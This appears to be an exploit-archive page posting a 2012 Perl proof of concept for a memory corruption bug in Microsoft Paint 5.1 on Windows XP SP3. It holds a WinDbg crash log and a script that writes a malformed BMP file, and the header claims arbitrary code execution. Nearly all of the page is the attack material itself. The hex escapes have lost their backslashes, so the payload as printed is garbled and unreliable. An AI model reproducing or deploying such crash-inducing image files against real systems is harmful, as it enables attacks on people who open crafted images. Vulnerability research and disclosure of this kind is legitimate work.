Home / exploitsPDF  

Microsoft Paint 5.1 Memory Corruption

Posted on 28 October 2012

#!/usr/bin/perl #Title : Microsoft Paint 5.1 memory corruption #Version : build 2600.xpsp Service Pack3 #Date : 2012-10-21 #Vendor : http://www.microsoft.com #Impact : Med/High #Contact : coolkaveh [at] rocketmail.com #Twitter : @coolkaveh #tested : XP SP3 ENG #Author : coolkaveh ####################################################################################################### #Notice : for testing POC please run the Microsoft Pain under a debugger and then open the POC file. #---- #Bug : #---- #Memory corruption during the handling of the bmp files a context-dependent attacker can execute arbitrary code. ####################################################################################################### #(844.cc4): Break instruction exception - code 80000003 (first chance) #eax=7ffda000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005 #eip=7c90120e esp=00faffcc ebp=00fafff4 iopl=0 nv up ei pl zr na pe nc #cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 #*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WINDOWSsystem32 tdll.dll - #ntdll!DbgBreakPoint: #7c90120e cc int 3 #0:005> g #(844.e20): Access violation - code c0000005 (first chance) #First chance exceptions are reported before any exception handling. #This exception may be expected and handled. #eax=000cab68 ebx=00000000 ecx=00000276 edx=000009d8 esi=000d5589 edi=000cab68 #eip=77f2f118 esp=0007ef30 ebp=0007efb0 iopl=0 nv up ei pl nz na po nc #cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 #*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WINDOWSsystem32GDI32.dll - #GDI32!DdEntry11+0x44: #77f2f118 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] #0:000> k #*** ERROR: Module load completed but symbols could not be loaded for C:WINDOWSsystem32mspaint.exe #ChildEBP RetAddr #WARNING: Stack unwind information not available. Following frames may be wrong. #0007efb0 0101235e GDI32!DdEntry11+0x44 #0007f024 0100a666 mspaint+0x1235e #0007f04c 0102284e mspaint+0xa666 #0007f07c 01022af6 mspaint+0x2284e #*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WINDOWSsystem32MFC42u.DLL - #0007f100 5f801bc5 mspaint+0x22af6 #0007f120 5f801b36 MFC42u!Ordinal6370+0x22 #0007f180 5f802f6c MFC42u!Ordinal1108+0x91 #0007f1a4 5f810971 MFC42u!Ordinal5801+0x34 #0007f210 5f81424a MFC42u!Ordinal3944+0x5b #0007f2b0 7c911066 MFC42u!Ordinal5190+0x14d #0007f2b4 7c9101bb ntdll!wcsncpy+0xb07 #0007f2c8 7c910202 ntdll!RtlAllocateHeap+0x117 #0007f2f4 7c910202 ntdll!RtlAllocateHeap+0x15e #0007f2f8 7c91017b ntdll!RtlAllocateHeap+0x15e #0007f2fc 7c9101bb ntdll!RtlAllocateHeap+0xd7 #0007f300 00000000 ntdll!RtlAllocateHeap+0x117 ##################################################################################################################### my $poc = "x42x4Dx4Ex0Ax00x00x00x00x00x00xC7xBDx00x00x28x00x00x00x46x00x00x00x46x00x00". "x00x01x00x04x00x00x00x00x00xD8x09x00x00xC4x0Ex00x00xC4x0Ex00x00x00x00x00x00". "x00x00x00x00x00x00x00x00x00x00x80x00x00x80x00x00x00x80x80x00x80x00x00x00x80". "x00x80x00x80x80x00x00x80x80x80x00xC0xC0xC0x00x00x00xFFx00x00xFFx00x00x00xFF". "xFFx00xFFx00x00x00xFFx00xFFx00xFFxFFx00x00xFFxFFxFFx00x88x88x88x88x88x88x88". "x88x88x88x88x88x88x88x88x88x88x88x77x88x87x78x88x88x88x88x87x88x88x88x88x88". "x88x88x88x00x88x88x88x88x88x88x88x88x88xFFxFFx88x88x88x88x88xFFx87x70x77x71". "x77x77x77x77x77x72x78x88x77x07x88x77x77x78x00x88x88x88x88x88x88x88x88x8FxFF". "xFFxFFxFFxFFx88x8FxF8xFFxFFx7FxFFxF7x8Fx07xF7x8FxF8x07x88xFFxF0x78xFFx87x77". "x00x88x88x88x88x88x88x88x88x8FxFFxFFxFFxFFx88xFFx88x8FxFFxFFx8FxF8x87x8Fx7F". "xF7xFFx8Fx80x8FxFFxF7x8FxF8xFFx07x00x88x88x88x88x88x88x88x88x8FxFFxFFxFFxF8". "x8FxF8x88x8FxFFx77x8FxF8x84x8FxFFxF7xFFx08xF7xFFx7FxF7xFFx47x8Fx76x00x88x88". "x88x88x88x88x88x88xFFxFFxFFxFFxF8x8Fx88x88x8FxFFx77x8FxFFxF7x8FxFFxF7xFFx08". "xF7xF8x0FxF7xF8x07x7Fx77x00x88x88x88x88x88x88x88x88xFFxFFxFFxFFxFFxF8x88x88". "x8FxFFx77x8Fx87x77x8FxF8xF7xFFx7FxF7xFFx07x87xFFx77x8Fx77x00x88x88x88x88x88". "x88x88x88xFFxFFxFFxFFxFFx88x88x88x8FxFFx77xFFxFFxF8x8Fx78xF7xFFxFFx87xFFx87". "x74x8FxFFxF8x78x00x88x88x88x88x88x88x88x88xFFxFFxFFxFFxF8x88x88x88x8FxFFx78". "xFFx88x87x88x8FxF8xFFx88x8FxFFxFFxF7x7FxF8x88x88x00x88x88x88x88x88x88x88x88". "xFFxFFxFFxFFx88x88x88x88x8FxF8x7FxFFx88x88x88xFFxFFxFFxFFxFFxFFxF8x87xFFxFF". "xFFxF8x00x88x88x88x88x88x88x88x88xFFxFFxFFxF8x88x88x88x88x8FxFFxFFxF8x88x88". "x88x8FxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxF8x00x88x88x88x88x88x88x88x8FxFFxFFxFF". "x88x88x88x88x88x88xFFxFFx8Fx87x77x88x8FxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxF8x00". "x88x88x88x88x88x88x88x8FxFFxFFxFFxFFxF8x88x88x88x88xFFxFFx88x87x77x77x8FxFF". "xFFxFFxFFxFFxFFxFFxFFxFFxFFx88x00x88x88x88x88x88x88x88x8FxFFxFFxFFxFFxFFxF8". "x88x88x8FxFFxFFx88x87x77x77x78xFFxFFxFFx8FxFFxFFxFFxFFxFFxFFxF8x00x88x88x88". "x88x88x88x88x88xFFxFFxFFxFFxFFxF8x88x88xFFxFFxF8x88x88x87x77x77xFFxFFx8FxFF". "xFFxFFxFFxFFxFFxFFxF8x00x88x88x88x88x88x88x88x88xFFxFFxFFxFFxF8x88x88x8FxFF". "xFFxF8x88x88x88x88x77xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxF8x00x88x88x88x88x88x88". "x88x88xFFxFFxFFxF8x88x88x8FxFFxFFxFFx88x88x77x88x88x87x8FxFFxFFxFFxFFxFFxFF". "xFFxFFxFFx88x00x88x88x88x88x88x88x88x88x8FxFFx88x88x88xFFxFFxFFxFFxF8x88x88". "x78x88x88x88x8FxFFxFFxFFxFFxFFxFFxFFxFFxFFx88x00x88x88x88x88x88x88x88x88x8F". "xFFx88x88xFFxFFxFFxF8x88x88x88x88x88x88x88x88x8FxFFxFFxFFxFFxFFxFFxFFxFFxFF". "x88x00x88x88x88x88x88x88x88x88x8FxF8x88x8FxFFxFFxF8xF8x88x88x88x87x88x88x88". "x88x8FxFFxFFxFFxFFxFFxFFxFFxFFxFFx88x00x88x88x88x88x88x88x88x88x8FxF8x8FxFF". "xFFxF8x88x88x88x88x88x77x78x88x88x88x88xFFxFFxFFxFFxFFxFFxFFxFFxFFx88x00x88". "x88x88x88x88x88x88x88x8FxF8xF8x88x88x88x88x87x31x78x88x77x77x88x88x88x88xFF". "xFFxFFxFFxFFxFFxFFxFFxFFx88x00x88x88x88x88x88x88x88x88x88x8Fx88x87x88x88x88". "x88x87x33x77x77x77x88x88x88x88xFFxFFxFFxFFxFFxFFxFFxFFxFFx88x00x88x88x88x88". "x88x88x88x88x88xFFx88x77x88x88x88x88x88x87x33x77x77x88x88x88x88x8FxFFxFFxFF". "xFFxFFxFFxFFxFFx88x00x88x88x88x88x88x88x88x88x88x88x77x78x88x88x88x88x88x88". "x87x77x77x88x88x88x88x8FxFFxFFxFFxFFxFFxFFxFFxFFx88x00x88x88x88x88x88x88x88". "x88x88x88x17x78x88x88x88x88x88x88x88x77x77x88x88x88x88x8FxFFxFFxFFxFFxFFxFF". "xFFxFFx88x00x88x88x88x88x88x88x88x88x88x87x37x78x88x88x88x88x88x88x88x87x77". "x88x88x88x88x8FxFFxFFxFFxFFxFFxFFxFFxFFx88x00x88x88x88x88x88x88x88x88x88x77". "x88x88x88x88x88x88x88x88x88x88x87x78x88x88x88x8FxFFxFFxFFxFFxFFxFFxFFxFFx88". "x00x88x88x88x88x88x88x88x88xF8x78x87x17x77x77x77x88x88x88x88x88x87x78x88x88". "x88x7FxFFxFFxFFxFFxFFxFFxFFxFFx88x00x88x88x88x88x88x88x88x88x88x78x87x77x78". "x88x77x77x88x88x88x88x88x78x88x88x77x7FxFFxFFxFFxFFxFFxFFxFFxFFx88x00x88x88". "x88x88x88x88x88x88xF8x88x88x88x88x88x88x88x88x88x88x88x88x87x88x87x77x78xF8". "x8FxFFxFFxFFxFFxFFxFFx88x00x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88". "x88x88x88x88x88x87x87x77x77x78xF8xFFxFFxFFxFFxFFxFFxF8x88x00x88x88x88x88x88". "x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x87x77x77x77x78x88xFFxFFxFF". "xFFx88x88x88x88x00x88x88x88x88x88x88x88x88x88x88x88x88x87x78x88x88x88x88x88". "x88x88x87x78x88x77x88xFFxFFxFFxFFxFFx88x88x88x88x00x88x88x88x88x88x88x88x88". "x88x88x88x88x88x88x88x88x88x88x88x88x88x87x88x87x78x88xF8xFFxFFxFFxF8x88x88". "x88x88x00x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x77". "x88x87x78x88x8FxFFxFFxFFx88x88x88x88x88x00x88x88x88x88x88x88x88x88x88x88x88". "x88x88x77x88x88x88x88x88x88x87x78x87x88x88x88x8FxF8x88x88x88x88x88x88x88x00". "x88x88x88x88x88x88x88x8Fx88x88x88x88x88x88x88x88x88x88x88x87x77x88x77x88x77". "x77x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x88x88x88x88x88x88x88x88x88". "x88x88x88x88x88x88x77x77x78x88x77x77x88x88x88x88x88x88x88x88x88x00x88x88x88". "x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x77x77x88x87x77x78x88x88". "x88x88x88x88x88x88x88x00x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88". "x88x88x87x77x78x88x87x77x78x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x78". "x88x88x77x77x78x88x88x88x88x88x88x88x88x88x77x78x88x88x78x88x88x88x88x88x88". "x88x88x88x88x00x88x88x88x88x88x77x88x77x77x77x77x88x88x88x78x77x78x88x88x88". "x77x87x87x88x87x88x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x77x88x70x77". "x00x77x88x88x88x78x87x77x78x88x88x78x77x77x78x88x88x88x88x88x88x88x88x88x88". "x88x00x88x88x88x88x88x77x88x87x31x17x78x88x88x88x77x60x70x37x88x87x77x77x87". "x77x88x88x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x77x88x87x77x77x88x88". "x88x88x71x17x17x78x88x77x77x77x77x77x88x88x88x88x88x88x88x88x88x88x88x00x88". "x88x88x88x88x77x78x87x78x88x88x88x88x87x88x87x88x88x87x77x77x77x77x77x78x88". "x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x77x78x88x88x88x88x88x88x88x77". "x88x88x88x87x77x87x77x37x77x88x88x88x88x88x88x88x88x88x88x88x00x88x88x88x88". "x88x77x78x88x88x88x88x88x88x88x88x77x78x88x77x77x77x73x37x78x88x88x88x88x88". "x88x88x88x88x88x88x00x88x88x88x88x88x87x78x88x88x88x88x88x88x88x88x88x88x88". "x77x77x77x73x17x78x88x88x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x87x77". "x88x88x88x88x88x88xF8x88x88x88x87x77x77x77x71x13x77x78x88x88x88x88x88x88x88". "x88x88x88x00x88x88x88x88x88x87x77x88x88x88x88x88x88x88x88x88x88x87x77x77x77". "x11x13x77x88x88x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x87x77x88x88x88". "x88x88x88x88x88x88x88x77x77x77x73x13x37x33x77x88x88x88x88x88x88x88x88x88x88". "x00x88x88x88x88x88x88x77x88x88x88x88x88x88x88x88x88x88x77x77x77x33x37x77x37". "x77x88x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x88x77x88x88x88x88x88x88". "x88x88x88x87x77x77x77x33x33x73x77x38x88x88x78x88x88x88x88x88x88x88x00x88x88". "x88x88x88x87x87x78x88x88x88x88x88x88x88x88x87x77x77x77x73x37x37x33x37x78x87". "x88x88x88x88x88x88x88x88x00x88x88x88x88x88x88x87x77x88x88x88x88x88x88x88x88". "x77x77x77x73x73x77x77x73x37x77x77x88x88x88x88x88x88x88x88x00x88x88x88x88x88". "x88x88x77x77x88x88x88x88x88x88x87x77x77x77x77x37x77x73x33x37x78x88x88x88x88". "x88x88x88x88x88x00x88x88x88x88x88x88x88x87x77x78x88x88x88x88x88x77x77x77x77". "x77x77x77x33x33x77x88x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x88x88x88". "x77x77x77x88x88x88x77x77x77x77x77x77x77x31x11x33x77x88x78x88x88x88x88x88x88". "x88x88x00x88x88x88x88x88x88x88x88x77x77x77x78x77x77x77x77x77x33x37x77x73x11". "x13x13x77x78x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x88x88x77x77x77x73". "x77x73x37x77x77x77x33x33x33x31x11x11x13x88x88x88x88x88x88x88x88x88x88x88x00". "x88x88x88x88x88x88x88x87x77x77x73x77x73x13x77x77x73x33x33x31x33x33x33x37x88". "x88x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x88x88x87x77x77x73x77x77x33". "x37x77x73x11x11x11x33x33x33x77x88x88x88x88x88x88x88x88x88x88x88x00x88x88x88". "x88x88x88x88x77x87x77x77x77x77x73x33x77x11x11x11x13x33x33x33x38x88x88x88x88". "x88x88x88x88x88x88x88x00x88x88x88x88x88x88x88x77x77x77x37x77x77x11x17x71x10". "x00x33x33x33x33x33x78x88x88x88x88x88x88x88x88x88x88x88x00x88x88x88x88xF8x88". "x88x87x77x77x37x77x73x33x77x31x10x00x01x33x33x33x33x78x88x88x88x88x88x88x88". "x88x88x88x88x00x88x88x88x88x88xF8x88x87x77x17x77x77x77x77x73x11x11x11x11x11". "x11x33x37x88x88x88x88x88x88x88x88x88x88x88x88x00x88x88x88x88x88x88x88x88x77". "x77x87x77x77x77x77x77x77x77x77x77x77x77x78x88x88x88x88x88x88x88x88x88x88x88". "x88x00x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88x88". "x88x88x88x88x88x88x88x88x88x88x88x88x00". open(C, ">:raw", "poc.bmp"); print C $poc; close(C);

 

TOP